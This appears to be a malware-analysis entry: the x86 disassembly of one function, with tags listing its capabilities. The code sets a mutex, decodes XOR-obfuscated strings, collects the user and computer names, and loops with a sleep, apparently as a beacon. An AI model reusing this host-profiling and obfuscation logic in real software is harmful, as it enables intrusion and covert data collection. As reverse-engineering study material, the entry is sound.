Function at 0x401170
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Encode data using xor
Get common file path
Get hostname
Get session user name
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x3c4
push ebx
push esi
push edi
lea ecx, [esp + 0x340]
call fcn.0040a4c0
call fcn.00405370
movaps xmm0, xmmword [0x43ba20]
xor ecx, ecx
movups xmmword [esp + 0xc0], xmm0
mov dword [esp + 0xe0], 0x4d4e1b1c
movaps xmm0, xmmword [0x43ba30]
movups xmmword [esp + 0xd0], xmm0
mov word [esp + 0xe4], 0x48
nop word [eax + eax]
mov al, byte [esp + 0xc0]
xor byte [esp + ecx + 0xc1], al
inc ecx
cmp ecx, 0x24
jb 0x4011d0
lea eax, [esp + 0xc1]
mov byte [esp + 0xe5], 0
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
test eax, eax
je 0x402484
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
cmp eax, 0xb7
je 0x402484
call fcn.0040f5f0
push eax
lea ecx, [esp + 0x38c]
call fcn.00406e80
lea eax, [esp + 0x20]
mov dword [esp + 0x20], 0x21
push eax
lea eax, [esp + 0x320]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
cmp byte [esp + 0x31c], 0
mov dword [esp + 0x300], 0xf
mov dword [esp + 0x2fc], 0
mov byte [esp + 0x2ec], 0
jne 0x401272
xor ecx, ecx
jmp 0x401289
lea ecx, [esp + 0x31c]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401280
sub ecx, edx
push ecx
lea eax, [esp + 0x320]
push eax
lea ecx, [esp + 0x2f4]
call fcn.00407390
lea eax, [esp + 0x20]
mov dword [esp + 0x20], 0x41
push eax
lea eax, [esp + 0xc4]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
cmp byte [esp + 0xc0], 0
mov dword [esp + 0x318], 0xf
mov dword [esp + 0x314], 0
mov byte [esp + 0x304], 0
jne 0x4012e5
xor ecx, ecx
jmp 0x4012f9
lea ecx, [esp + 0xc0]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4012f0
sub ecx, edx
push ecx
lea eax, [esp + 0xc4]
push eax
lea ecx, [esp + 0x30c]
call fcn.00407390
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemWow64DirectoryA]
call esi
cmp eax, 0x78
je 0x40133d
mov cl, 0x74
mov byte [esp + 0x1a], 0
mov al, 0x45
mov byte [esp + 0x18], cl
xor al, cl
mov byte [esp + 0x1a], 0
mov byte [esp + 0x19], al
lea eax, [esp + 0x19]
jmp 0x401359
mov cl, 0x4a
mov byte [esp + 0x12], 0
mov al, 0x7a
mov byte [esp + 0x10], cl
xor al, cl
mov byte [esp + 0x12], 0
mov byte [esp + 0x11], al
lea eax, [esp + 0x11]
push eax
lea ecx, [esp + 0x3bc]
call fcn.00406e80
call fcn.004103f0
test al, al
je 0x40138d
mov cl, 0x2b
mov byte [esp + 0x12], 0
mov al, 0x1a
mov byte [esp + 0x10], cl
xor al, cl
mov byte [esp + 0x12], 0
mov byte [esp + 0x11], al
lea eax, [esp + 0x11]
jmp 0x4013a9
mov cl, 0x34
mov byte [esp + 0x1a], 0
mov al, 4
mov byte [esp + 0x18], cl
xor al, cl
mov byte [esp + 0x1a], 0
mov byte [esp + 0x19], al
lea eax, [esp + 0x19]
push eax
lea ecx, [esp + 0x374]
call fcn.00406e80
lea ecx, [esp + 0x358]
call fcn.0040f880
lea ecx, [esp + 0x3a0]
call fcn.00410470
movaps xmm0, xmmword [0x43b960]
xor ecx, ecx
movups xmmword [esp + 0xc0], xmm0
mov word [esp + 0xe0], 0x2d
movaps xmm0, xmmword [0x43bb20]
movups xmmword [esp + 0xd0], xmm0
nop dword [eax + eax]
mov al, byte [esp + 0xc0]
xor byte [esp + ecx + 0xc1], al
inc ecx
cmp ecx, 0x20
jb 0x401400
lea eax, [esp + 0xc1]
mov byte [esp + 0xe1], 0
push eax
lea ecx, [esp + 0x8c]
call fcn.00406e80
mov byte [esp + 0x34], 0x17
mov al, 0x7b
xor al, byte [esp + 0x34]
mov dl, 0x2d
mov byte [esp + 0x35], al
mov dh, dl
mov al, byte [esp + 0x34]
mov bl, 0x27
xor dl, al
mov byte [esp + 0x3d], 0
xor bl, al
mov byte [esp + 0x37], dl
xor dh, al
mov byte [esp + 0x38], bl
mov bl, 0x67
mov byte [esp + 0x33], 0
mov cl, 0x61
mov byte [esp + 0x2f], bl
xor cl, al
mov byte [esp + 0x2e], 0
mov byte [esp + 0x36], cl
mov ah, 0x78
xor ah, al
mov byte [esp + 0x65], 0
mov ch, 0x70
mov byte [esp + 0x39], ah
xor ch, al
mov byte [esp + 0x3b], dh
mov bh, 0x26
mov byte [esp + 0x3a], ch
xor bh, al
mov byte [esp + 0x3d], 0
mov al, 6
mov byte [esp + 0x3c], bh
xor al, bl
mov byte [esp + 0x33], 0
mov byte [esp + 0x30], al
mov cl, 0x11
xor cl, bl
mov byte [esp + 0x2e], 0
mov byte [esp + 0x31], cl
mov dl, 0x5d
xor dl, bl
mov byte [esp + 0x65], 0
mov bl, 0x65
mov byte [esp + 0x32], dl
mov al, 1
mov byte [esp + 0x2a], bl
xor al, bl
mov byte [esp + 0x6a], 0
mov byte [esp + 0x2b], al
mov cl, 8
xor cl, bl
mov dl, 0x5f
xor dl, bl
mov byte [esp + 0x2c], cl
mov bl, 0x10
mov byte [esp + 0x2d], dl
mov al, 0x65
mov byte [esp + 0x61], bl
xor al, bl
mov cl, 0x7e
xor cl, bl
mov byte [esp + 0x62], al
mov dl, 0x2a
mov byte [esp + 0x63], cl
xor dl, bl
mov al, 0x19
mov bl, 0x69
mov byte [esp + 0x64], dl
xor al, bl
mov byte [esp + 0x66], bl
mov cl, 0xa
mov byte [esp + 0x67], al
mov dl, 0x53
xor cl, bl
xor dl, bl
mov byte [esp + 0x68], cl
mov byte [esp + 0x69], dl
mov bl, 0x7d
mov byte [esp + 0x18], bl
mov al, 0x1c
xor al, bl
mov byte [esp + 0x1c], 0
mov byte [esp + 0x19], al
mov cl, 0xf
xor cl, bl
mov byte [esp + 0x14], 0
mov byte [esp + 0x1a], cl
mov dl, 0x47
xor dl, bl
mov byte [esp + 0x24], 0
mov byte [esp + 0x1b], dl
mov bl, 0x58
mov al, 0x3a
mov byte [esp + 0x10], bl
xor al, bl
mov byte [esp + 0x48], 0
mov byte [esp + 0x11], al
mov cl, 0x31
xor cl, bl
mov byte [esp + 0x5c], 0
mov byte [esp + 0x12], cl
mov dl, 0x62
xor dl, bl
mov byte [esp + 0x6a], 0
mov byte [esp + 0x13], dl
mov bl, 0x23
mov dh, 0x3d
mov byte [esp + 0x20], bl
mov al, 0x4c
mov byte [esp + 0x1c], 0
xor al, bl
mov byte [esp + 0x14], 0
mov cl, 0x50
mov byte [esp + 0x21], al
xor cl, bl
mov byte [esp + 0x24], 0
mov dl, 0x19
mov byte [esp + 0x22], cl
xor dl, bl
mov byte [esp + 0x41], dh
mov byte [esp + 0x23], dl
mov al, 0x69
xor al, dh
mov byte [esp + 0x48], 0
mov cl, 0x6f
mov byte [esp + 0x42], al
xor cl, dh
mov byte [esp + 0x5c], 0
mov bl, 0x7b
mov byte [esp + 0x43], cl
xor bl, dh
mov dl, 0x7c
xor dl, dh
mov byte [esp + 0x45], bl
mov bl, 0x39
mov byte [esp + 0x44], dl
mov ah, 0xd
mov byte [esp + 0x58], bl
xor ah, dh
mov ch, 0xc
mov al, 0x4a
mov byte [esp + 0x46], ah
mov cl, 0x5d
xor al, bl
xor ch, dh
mov byte [esp + 0x59], al
mov dl, 3
mov byte [esp + 0x47], ch
xor cl, bl
mov ah, 0x27
xor dl, bl
mov byte [esp + 0x5a], cl
mov byte [esp + 0x5b], dl
mov al, 0x16
mov byte [esp + 0x49], ah
mov bl, al
mov byte [esp + 0x4e], 0
xor al, ah
mov byte [esp + 0x54], 0
xor bl, ah
mov byte [esp + 0x4a], al
mov cl, 9
mov byte [esp + 0x4d], bl
xor cl, ah
mov byte [esp + 0x6f], 0
mov dl, 0x17
mov byte [esp + 0x4b], cl
xor dl, ah
mov byte [esp + 0x4e], 0
mov byte [esp + 0x4c], dl
mov bl, 0x4c
mov al, 0x3a
mov byte [esp + 0x50], bl
xor al, bl
mov byte [esp + 0x54], 0
mov cl, 0x3f
mov byte [esp + 0x51], al
xor cl, bl
mov byte [esp + 0x6f], 0
mov dl, 0x76
mov byte [esp + 0x52], cl
xor dl, bl
mov al, 0x65
mov bl, 0xc
mov byte [esp + 0x53], dl
xor al, bl
mov byte [esp + 0x6b], bl
mov cl, 0x68
mov byte [esp + 0x6c], al
mov dl, 0x36
lea eax, [esp + 0x340]
xor cl, bl
xor dl, bl
mov byte [esp + 0x6d], cl
lea ecx, [esp + 0x2d4]
mov byte [esp + 0x6e], dl
lea edx, [esp + 0x6c]
push eax
call fcn.004083a0
add esp, 4
mov esi, eax
cmp byte [esp + 0x51], 0
jne 0x4016ad
xor ecx, ecx
jmp 0x4016bd
lea ecx, [esp + 0x51]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4016b4
sub ecx, edx
push ecx
lea eax, [esp + 0x55]
mov ecx, esi
push eax
call fcn.004075c0
push eax
lea ecx, [esp + 0x278]
call fcn.00406e00
cmp byte [esp + 0x4a], 0
jne 0x4016e2
xor ecx, ecx
jmp 0x4016f9
lea ecx, [esp + 0x4a]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4016f0
sub ecx, edx
push ecx
lea eax, [esp + 0x4e]
push eax
lea ecx, [esp + 0x27c]
call fcn.004075c0
push eax
lea ecx, [esp + 0x260]
call fcn.00406e00
cmp byte [esp + 0x59], 0
jne 0x401723
xor ecx, ecx
jmp 0x401739
lea ecx, [esp + 0x59]
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401730
sub ecx, edx
push ecx
lea eax, [esp + 0x5d]
push eax
lea ecx, [esp + 0x264]
call fcn.004075c0
push eax
lea ecx, [esp + 0x248]
call fcn.00406e00
cmp byte [esp + 0x42], 0
jne 0x401763
xor ecx, ecx
jmp 0x401779
lea ecx, [esp + 0x42]
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401770
sub ecx, edx
push ecx
lea eax, [esp + 0x46]
push eax
lea ecx, [esp + 0x24c]
call fcn.004075c0
push eax
lea ecx, [esp + 0x230]
call fcn.00406e00
cmp byte [esp + 0x21], 0
jne 0x4017a3
xor ecx, ecx
jmp 0x4017b9
lea ecx, [esp + 0x21]
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4017b0
sub ecx, edx
push ecx
lea eax, [esp + 0x25]
push eax
lea ecx, [esp + 0x234]
call fcn.004075c0
push eax
lea ecx, [esp + 0x218]
call fcn.00406e00
push 0xffffffffffffffff
push 0
lea eax, [esp + 0x360]
push eax
lea ecx, [esp + 0x220]
call fcn.004076f0
push eax
lea ecx, [esp + 0x200]
call fcn.00406e00
cmp byte [esp + 0x11], 0
jne 0x401808
xor ecx, ecx
jmp 0x401819
lea ecx, [esp + 0x11]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401810
sub ecx, edx
push ecx
lea eax, [esp + 0x15]
push eax
lea ecx, [esp + 0x204]
call fcn.004075c0
push eax
lea ecx, [esp + 0x1e8]
call fcn.00406e00
push 0xffffffffffffffff
push 0
lea eax, [esp + 0x3c0]
push eax
lea ecx, [esp + 0x1f0]
call fcn.004076f0
push eax
lea ecx, [esp + 0x1d0]
call fcn.00406e00
cmp byte [esp + 0x19], 0
jne 0x401868
xor ecx, ecx
jmp 0x401879
lea ecx, [esp + 0x19]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401870
sub ecx, edx
push ecx
lea eax, [esp + 0x1d]
push eax
lea ecx, [esp + 0x1d4]
call fcn.004075c0
push eax
lea ecx, [esp + 0x1b8]
call fcn.00406e00
push 0xffffffffffffffff
push 0
lea eax, [esp + 0x378]
push eax
lea ecx, [esp + 0x1c0]
call fcn.004076f0
push eax
lea ecx, [esp + 0x1a0]
call fcn.00406e00
cmp byte [esp + 0x67], 0
jne 0x4018c8
xor ecx, ecx
jmp 0x4018d9
lea ecx, [esp + 0x67]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4018d0
sub ecx, edx
push ecx
lea eax, [esp + 0x6b]
push eax
lea ecx, [esp + 0x1a4]
call fcn.004075c0
push eax
lea ecx, [esp + 0x188]
call fcn.00406e00
push 0xffffffffffffffff
push 0
lea eax, [esp + 0x30c]
push eax
lea ecx, [esp + 0x190]
call fcn.004076f0
push eax
lea ecx, [esp + 0x170]
call fcn.00406e00
cmp byte [esp + 0x62], 0
jne 0x401928
xor ecx, ecx
jmp 0x401939
lea ecx, [esp + 0x62]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401930
sub ecx, edx
push ecx
lea eax, [esp + 0x66]
push eax
lea ecx, [esp + 0x174]
call fcn.004075c0
push eax
lea ecx, [esp + 0x158]
call fcn.00406e00
push 0xffffffffffffffff
push 0
lea eax, [esp + 0x2f4]
push eax
lea ecx, [esp + 0x160]
call fcn.004076f0
push eax
lea ecx, [esp + 0x140]
call fcn.00406e00
cmp byte [esp + 0x2b], 0
jne 0x401988
xor ecx, ecx
jmp 0x401999
lea ecx, [esp + 0x2b]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401990
sub ecx, edx
push ecx
lea eax, [esp + 0x2f]
push eax
lea ecx, [esp + 0x144]
call fcn.004075c0
push eax
lea ecx, [esp + 0x128]
call fcn.00406e00
push 0xffffffffffffffff
push 0
lea eax, [esp + 0x390]
push eax
lea ecx, [esp + 0x130]
call fcn.004076f0
push eax
lea ecx, [esp + 0x110]
call fcn.00406e00
cmp byte [esp + 0x30], 0
jne 0x4019e8
xor ecx, ecx
jmp 0x4019f9
lea ecx, [esp + 0x30]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4019f0
sub ecx, edx
push ecx
lea eax, [esp + 0x34]
push eax
lea ecx, [esp + 0x114]
call fcn.004075c0
push eax
lea ecx, [esp + 0x2a8]
call fcn.00406e00
push 0xffffffffffffffff
push 0
lea eax, [esp + 0x3a8]
push eax
lea ecx, [esp + 0x2b0]
call fcn.004076f0
push eax
lea ecx, [esp + 0x290]
call fcn.00406e00
cmp byte [esp + 0x35], 0
jne 0x401a48
xor ecx, ecx
jmp 0x401a59
lea ecx, [esp + 0x35]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401a50
sub ecx, edx
push ecx
lea eax, [esp + 0x39]
push eax
lea ecx, [esp + 0x294]
call fcn.004075c0
push eax
lea ecx, [esp + 0x74]
call fcn.00406e00
lea eax, [esp + 0x70]
push eax
lea edx, [esp + 0x8c]
lea ecx, [esp + 0x2c0]
call fcn.00409410
add esp, 4
lea ecx, [esp + 0x31c]
mov edx, eax
call fcn.004092d0
mov eax, dword [esp + 0x2d0]
cmp eax, 0x10
jb 0x401abf
inc eax
lea ecx, [esp + 0x2bc]
push eax
push dword [esp + 0x2c0]
call fcn.004079b0
mov eax, dword [esp + 0x84]
mov dword [esp + 0x2d0], 0xf
mov dword [esp + 0x2cc], 0
mov byte [esp + 0x2bc], 0
cmp eax, 0x10
jb 0x401af8
inc eax
lea ecx, [esp + 0x70]
push eax
push dword [esp + 0x74]
call fcn.004079b0
mov eax, dword [esp + 0x2a0]
mov dword [esp + 0x84], 0xf
mov dword [esp + 0x80], 0
mov byte [esp + 0x70], 0
cmp eax, 0x10
jb 0x401b34
inc eax
lea ecx, [esp + 0x28c]
push eax
push dword [esp + 0x290]
call fcn.004079b0
mov eax, dword [esp + 0x2b8]
mov dword [esp + 0x2a0], 0xf
mov dword [esp + 0x29c], 0
mov byte [esp + 0x28c], 0
cmp eax, 0x10
jb 0x401b73
inc eax
lea ecx, [esp + 0x2a4]
push eax
push dword [esp + 0x2a8]
call fcn.004079b0
mov eax, dword [esp + 0x120]
mov dword [esp + 0x2b8], 0xf
mov dword [esp + 0x2b4], 0
mov byte [esp + 0x2a4], 0
cmp eax, 0x10
jb 0x401bb2
inc eax
lea ecx, [esp + 0x10c]
push eax
push dword [esp + 0x110]
call fcn.004079b0
mov eax, dword [esp + 0x138]
mov dword [esp + 0x120], 0xf
mov dword [esp + 0x11c], 0
mov byte [esp + 0x10c], 0
cmp eax, 0x10
jb 0x401bf1
inc eax
lea ecx, [esp + 0x124]
push eax
push dword [esp + 0x128]
call fcn.004079b0
mov eax, dword [esp + 0x150]
mov dword [esp + 0x138], 0xf
mov dword [esp + 0x134], 0
mov byte [esp + 0x124], 0
cmp eax, 0x10
jb 0x401c30
inc eax
lea ecx, [esp + 0x13c]
push eax
push dword [esp + 0x140]
call fcn.004079b0
mov eax, dword [esp + 0x168]
mov dword [esp + 0x150], 0xf
mov dword [esp + 0x14c], 0
mov byte [esp + 0x13c], 0
cmp eax, 0x10
jb 0x401c6f
inc eax
lea ecx, [esp + 0x154]
push eax
push dword [esp + 0x158]
call fcn.004079b0
mov eax, dword [esp + 0x180]
mov dword [esp + 0x168], 0xf
mov dword [esp + 0x164], 0
mov byte [esp + 0x154], 0
cmp eax, 0x10
jb 0x401cae
inc eax
lea ecx, [esp + 0x16c]
push eax
push dword [esp + 0x170]
call fcn.004079b0
mov eax, dword [esp + 0x198]
mov dword [esp + 0x180], 0xf
mov dword [esp + 0x17c], 0
mov byte [esp + 0x16c], 0
cmp eax, 0x10
jb 0x401ced
inc eax
lea ecx, [esp + 0x184]
push eax
push dword [esp + 0x188]
call fcn.004079b0
mov eax, dword [esp + 0x1b0]
mov dword [esp + 0x198], 0xf
mov dword [esp + 0x194], 0
mov byte [esp + 0x184], 0
cmp eax, 0x10
jb 0x401d2c
inc eax
lea ecx, [esp + 0x19c]
push eax
push dword [esp + 0x1a0]
call fcn.004079b0
mov eax, dword [esp + 0x1c8]
mov dword [esp + 0x1b0], 0xf
mov dword [esp + 0x1ac], 0
mov byte [esp + 0x19c], 0
cmp eax, 0x10
jb 0x401d6b
inc eax
lea ecx, [esp + 0x1b4]
push eax
push dword [esp + 0x1b8]
call fcn.004079b0
mov eax, dword [esp + 0x1e0]
mov dword [esp + 0x1c8], 0xf
mov dword [esp + 0x1c4], 0
mov byte [esp + 0x1b4], 0
cmp eax, 0x10
jb 0x401daa
inc eax
lea ecx, [esp + 0x1cc]
push eax
push dword [esp + 0x1d0]
call fcn.004079b0
mov eax, dword [esp + 0x1f8]
mov dword [esp + 0x1e0], 0xf
mov dword [esp + 0x1dc], 0
mov byte [esp + 0x1cc], 0
cmp eax, 0x10
jb 0x401de9
inc eax
lea ecx, [esp + 0x1e4]
push eax
push dword [esp + 0x1e8]
call fcn.004079b0
mov eax, dword [esp + 0x210]
mov dword [esp + 0x1f8], 0xf
mov dword [esp + 0x1f4], 0
mov byte [esp + 0x1e4], 0
cmp eax, 0x10
jb 0x401e28
inc eax
lea ecx, [esp + 0x1fc]
push eax
push dword [esp + 0x200]
call fcn.004079b0
mov eax, dword [esp + 0x228]
mov dword [esp + 0x210], 0xf
mov dword [esp + 0x20c], 0
mov byte [esp + 0x1fc], 0
cmp eax, 0x10
jb 0x401e67
inc eax
lea ecx, [esp + 0x214]
push eax
push dword [esp + 0x218]
call fcn.004079b0
mov eax, dword [esp + 0x240]
mov dword [esp + 0x228], 0xf
mov dword [esp + 0x224], 0
mov byte [esp + 0x214], 0
cmp eax, 0x10
jb 0x401ea6
inc eax
lea ecx, [esp + 0x22c]
push eax
push dword [esp + 0x230]
call fcn.004079b0
mov eax, dword [esp + 0x258]
mov dword [esp + 0x240], 0xf
mov dword [esp + 0x23c], 0
mov byte [esp + 0x22c], 0
cmp eax, 0x10
jb 0x401ee5
inc eax
lea ecx, [esp + 0x244]
push eax
push dword [esp + 0x248]
call fcn.004079b0
mov eax, dword [esp + 0x270]
mov dword [esp + 0x258], 0xf
mov dword [esp + 0x254], 0
mov byte [esp + 0x244], 0
cmp eax, 0x10
jb 0x401f24
inc eax
lea ecx, [esp + 0x25c]
push eax
push dword [esp + 0x260]
call fcn.004079b0
mov eax, dword [esp + 0x288]
mov dword [esp + 0x270], 0xf
mov dword [esp + 0x26c], 0
mov byte [esp + 0x25c], 0
cmp eax, 0x10
jb 0x401f63
inc eax
lea ecx, [esp + 0x274]
push eax
push dword [esp + 0x278]
call fcn.004079b0
mov eax, dword [esp + 0x2e8]
mov dword [esp + 0x288], 0xf
mov dword [esp + 0x284], 0
mov byte [esp + 0x274], 0
cmp eax, 0x10
jb 0x401fa2
inc eax
lea ecx, [esp + 0x2d4]
push eax
push dword [esp + 0x2d8]
call fcn.004079b0
mov eax, dword [esp + 0x9c]
mov dword [esp + 0x2e8], 0xf
mov dword [esp + 0x2e4], 0
mov byte [esp + 0x2d4], 0
cmp eax, 0x10
jb 0x401fe1
inc eax
lea ecx, [esp + 0x88]
push eax
push dword [esp + 0x8c]
call fcn.004079b0
movaps xmm0, xmmword [0x43b910]
xor esi, esi
xor ebx, ebx
mov dword [esp + 0x34], esi
xor edi, edi
mov dword [esp + 0x3c], esi
mov dword [esp + 0x38], edi
xor ecx, ecx
mov dword [esp + 0x10], ebx
movups xmmword [esp + 0x88], xmm0
mov dword [esp + 0x98], 0x1601171d
mov dword [esp + 0x9c], 0x4a160112
mov dword [esp + 0xa0], 0x140b0c17
mov byte [esp + 0xa4], bl
mov al, byte [esp + 0x88]
xor byte [esp + ecx + 0x89], al
inc ecx
cmp ecx, 0x1b
jb 0x402030
lea eax, [esp + 0x89]
mov dword [esp + 0x20], ebx
mov ebx, dword [esp + 0x3c]
mov dword [esp + 0x58], eax
lea eax, [esp + 0x58]
mov dword [esp + 0x18], eax
nop
mov edx, dword [eax]
mov dword [esp + 0xbc], 0xf
mov dword [esp + 0xb8], 0
mov byte [esp + 0xa8], 0
cmp byte [edx], 0
jne 0x402089
xor ecx, ecx
jmp 0x40209d
mov ecx, edx
lea eax, [ecx + 1]
mov dword [esp + 0x50], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402092
sub ecx, dword [esp + 0x50]
push ecx
push edx
lea ecx, [esp + 0xb0]
call fcn.00407390
lea eax, [esp + 0xa8]
cmp eax, edi
jae 0x4020fd
cmp esi, eax
ja 0x4020fd
mov ecx, eax
mov eax, 0x2aaaaaab
sub ecx, esi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [esp + 0x50], eax
cmp edi, ebx
jne 0x4020f1
push ecx
lea ecx, [esp + 0x38]
call fcn.00406fb0
mov edi, dword [esp + 0x38]
mov esi, dword [esp + 0x34]
mov eax, dword [esp + 0x50]
mov ebx, dword [esp + 0x3c]
test edi, edi
je 0x40212a
lea eax, [eax + eax*2]
lea eax, [esi + eax*8]
jmp 0x402122
cmp edi, ebx
jne 0x402117
push ecx
lea ecx, [esp + 0x38]
call fcn.00406fb0
mov edi, dword [esp + 0x38]
mov esi, dword [esp + 0x34]
mov ebx, dword [esp + 0x3c]
test edi, edi
je 0x40212a
lea eax, [esp + 0xa8]
push eax
mov ecx, edi
call fcn.00406e00
mov eax, dword [esp + 0xbc]
add edi, 0x18
mov dword [esp + 0x38], edi
cmp eax, 0x10
jb 0x402152
inc eax
lea ecx, [esp + 0xa8]
push eax
push dword [esp + 0xac]
call fcn.004079b0
mov ecx, dword [esp + 0x20]
mov eax, dword [esp + 0x18]
inc ecx
add eax, 4
mov dword [esp + 0x20], ecx
mov dword [esp + 0x18], eax
cmp ecx, 1
jne 0x402060
mov ebx, dword [esp + 0x10]
lea eax, [ebx + ebx*2]
cmp dword [esi + eax*8 + 0x14], 0x10
lea esi, [esi + eax*8]
jb 0x402188
mov eax, dword [esi]
mov dword [esp + 0x20], eax
jmp 0x40218c
mov dword [esp + 0x20], esi
mov ch, 0x55
mov byte [esp + 0x4f], 0
mov al, 0x31
mov byte [esp + 0x49], ch
mov cl, 0x34
mov byte [esp + 0x4f], 0
mov ah, 0x68
xor al, ch
xor ah, ch
mov byte [esp + 0x4a], al
mov bl, cl
mov byte [esp + 0x4e], ah
mov dl, 0x21
lea eax, [esp + 0x31c]
xor dl, ch
xor cl, ch
xor bl, ch
mov byte [esp + 0x4b], cl
mov byte [esp + 0x4c], dl
lea ecx, [esp + 0x88]
push eax
lea edx, [esp + 0x4e]
mov byte [esp + 0x51], bl
call fcn.004083a0
add esp, 4
cmp dword [eax + 0x14], 0x10
jb 0x4021e7
mov eax, dword [eax]
push dword [esp + 0x20]
mov edx, eax
lea ecx, [esp + 0x74]
call fcn.0040d390
mov eax, dword [esp + 0xa0]
add esp, 4
cmp eax, 0x10
jb 0x40221a
inc eax
lea ecx, [esp + 0x88]
push eax
push dword [esp + 0x8c]
call fcn.004079b0
cmp dword [esp + 0x80], 0
ja 0x402279
mov ecx, edi
mov eax, 0x2aaaaaab
sub ecx, dword [esp + 0x34]
imul ecx
mov eax, dword [esp + 0x10]
sar edx, 2
mov esi, edx
shr esi, 0x1f
add esi, edx
lea ecx, [eax + 1]
cmp esi, 1
cmovbe ecx, eax
lea eax, [ecx - 1]
cmp esi, eax
mov eax, dword [esp + 0x84]
sbb ebx, ebx
and ebx, ecx
mov dword [esp + 0x10], ebx
cmp eax, 0x10
jb 0x402270
inc eax
lea ecx, [esp + 0x70]
push eax
push dword [esp + 0x74]
call fcn.004079b0
mov esi, dword [esp + 0x34]
jmp 0x402173
mov bl, 0x3c
xor dl, dl
mov byte [esp + 0x33], dl
mov al, 0x5f
mov cl, 2
mov byte [esp + 0x2f], bl
xor dl, bl
mov byte [esp + 0x33], 0
xor al, bl
mov byte [esp + 0x30], dl
xor cl, bl
mov byte [esp + 0x31], al
mov byte [esp + 0x32], cl
test dl, dl
jne 0x4022a8
xor ecx, ecx
jmp 0x4022b9
lea ecx, [esp + 0x30]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4022b0
sub ecx, edx
push ecx
push 0
lea eax, [esp + 0x38]
push eax
lea ecx, [esp + 0x7c]
call fcn.00407290
cmp eax, 0xffffffff
jne 0x402388
mov bl, 0x24
mov byte [esp + 0x2e], 0
mov dl, 0x18
mov byte [esp + 0x2a], bl
mov al, 0x40
mov byte [esp + 0x2e], 0
mov cl, 0x1a
xor dl, bl
xor al, bl
mov byte [esp + 0x2b], dl
xor cl, bl
mov byte [esp + 0x2c], al
mov byte [esp + 0x2d], cl
test dl, dl
jne 0x402303
xor ecx, ecx
jmp 0x402319
lea ecx, [esp + 0x2b]
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402310
sub ecx, edx
push ecx
push 0
lea eax, [esp + 0x33]
push eax
lea ecx, [esp + 0x7c]
call fcn.00407290
cmp eax, 0xffffffff
jne 0x402388
mov ecx, edi
mov eax, 0x2aaaaaab
sub ecx, dword [esp + 0x34]
imul ecx
mov eax, dword [esp + 0x10]
sar edx, 2
mov esi, edx
shr esi, 0x1f
add esi, edx
lea ecx, [eax + 1]
cmp esi, 1
cmovbe ecx, eax
lea eax, [ecx - 1]
cmp esi, eax
mov eax, dword [esp + 0x84]
sbb ebx, ebx
and ebx, ecx
mov dword [esp + 0x10], ebx
cmp eax, 0x10
jb 0x402270
inc eax
lea ecx, [esp + 0x70]
push eax
push dword [esp + 0x74]
call fcn.004079b0
mov esi, dword [esp + 0x34]
jmp 0x402173
mov dh, 0x7e
mov byte [esp + 0x48], 0
mov ch, 0x42
mov byte [esp + 0x41], dh
mov cl, 0x40
mov byte [esp + 0x48], 0
mov dl, ch
mov ah, cl
mov al, 0x1d
mov bl, 0x1a
xor ch, dh
xor al, dh
xor cl, dh
mov byte [esp + 0x42], ch
xor dl, dh
mov byte [esp + 0x43], al
xor bl, dh
mov byte [esp + 0x44], cl
xor ah, dh
mov byte [esp + 0x45], dl
mov byte [esp + 0x46], bl
mov byte [esp + 0x47], ah
test ch, ch
jne 0x4023d0
xor eax, eax
jmp 0x4023e0
lea eax, [esp + 0x42]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4023d7
sub eax, edx
push eax
push 0
lea eax, [esp + 0x4a]
push eax
lea ecx, [esp + 0x7c]
call fcn.00407290
cmp eax, 0xffffffff
jne 0x40242e
sub esp, 0x18
mov ecx, esp
push eax
push 0
lea eax, [esp + 0x90]
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
push eax
mov byte [ecx], 0
call fcn.00407490
cmp dword [esi + 0x14], 0x10
jb 0x402424
mov esi, dword [esi]
mov ecx, esi
call fcn.00402490
add esp, 0x18
cmp dword [esp + 0x84], 0x10
lea eax, [esp + 0x70]
mov dword [esp + 0x80], 0
cmovae eax, dword [esp + 0x70]
push 0x1d4c0
mov byte [eax], 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esp + 0x84]
mov ebx, dword [esp + 0x10]
mov esi, dword [esp + 0x34]
cmp eax, 0x10
jb 0x402173
inc eax
lea ecx, [esp + 0x70]
push eax
push dword [esp + 0x74]
call fcn.004079b0
jmp 0x40216f
push 0
call fcn.00417d69
int3